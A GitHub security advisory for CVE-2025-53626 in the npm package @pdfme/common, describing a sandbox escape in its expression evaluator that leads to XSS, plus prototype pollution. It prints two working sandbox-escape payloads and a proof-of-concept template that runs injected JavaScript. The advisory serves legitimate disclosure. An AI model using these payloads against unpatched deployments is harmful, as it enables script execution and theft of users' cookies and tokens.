Skip to content

@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation

Moderate severity GitHub Reviewed Published Jul 10, 2025 in pdfme/pdfme • Updated Jul 10, 2025

Package

npm @pdfme/common (npm)

Affected versions

>= 5.2.0, < 5.4.1

Patched versions

5.4.1

Description

Summary

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:

  • __lookupGetter__
  • __lookupSetter__
  • __defineGetter__
  • __defineSetter__

Impact

These vulnerabilities allow attackers to:

  • Execute arbitrary JavaScript code in the context of the application
  • Steal sensitive information including cookies and tokens
  • Modify application behavior through prototype pollution
  • Potentially perform actions on behalf of users

Proof of Concept

Loading the following template in pdfme triggers alert(location):

{
  "schemas": [[{
    "name": "field1",
    "type": "text",
    "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
    "position": { "x": 0, "y": 0 },
    "width": 100,
    "height": 100
  }]],
  "basePdf": { "width": 100, "height": 100 },
  "pdfmeVersion": "5.4.0"
}

References

@hand-dot hand-dot published to pdfme/pdfme Jul 10, 2025
Published to the GitHub Advisory Database Jul 10, 2025
Reviewed Jul 10, 2025
Published by the National Vulnerability Database Jul 10, 2025
Last updated Jul 10, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

CVE ID

CVE-2025-53626

GHSA ID

GHSA-54xv-94qv-2gfg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.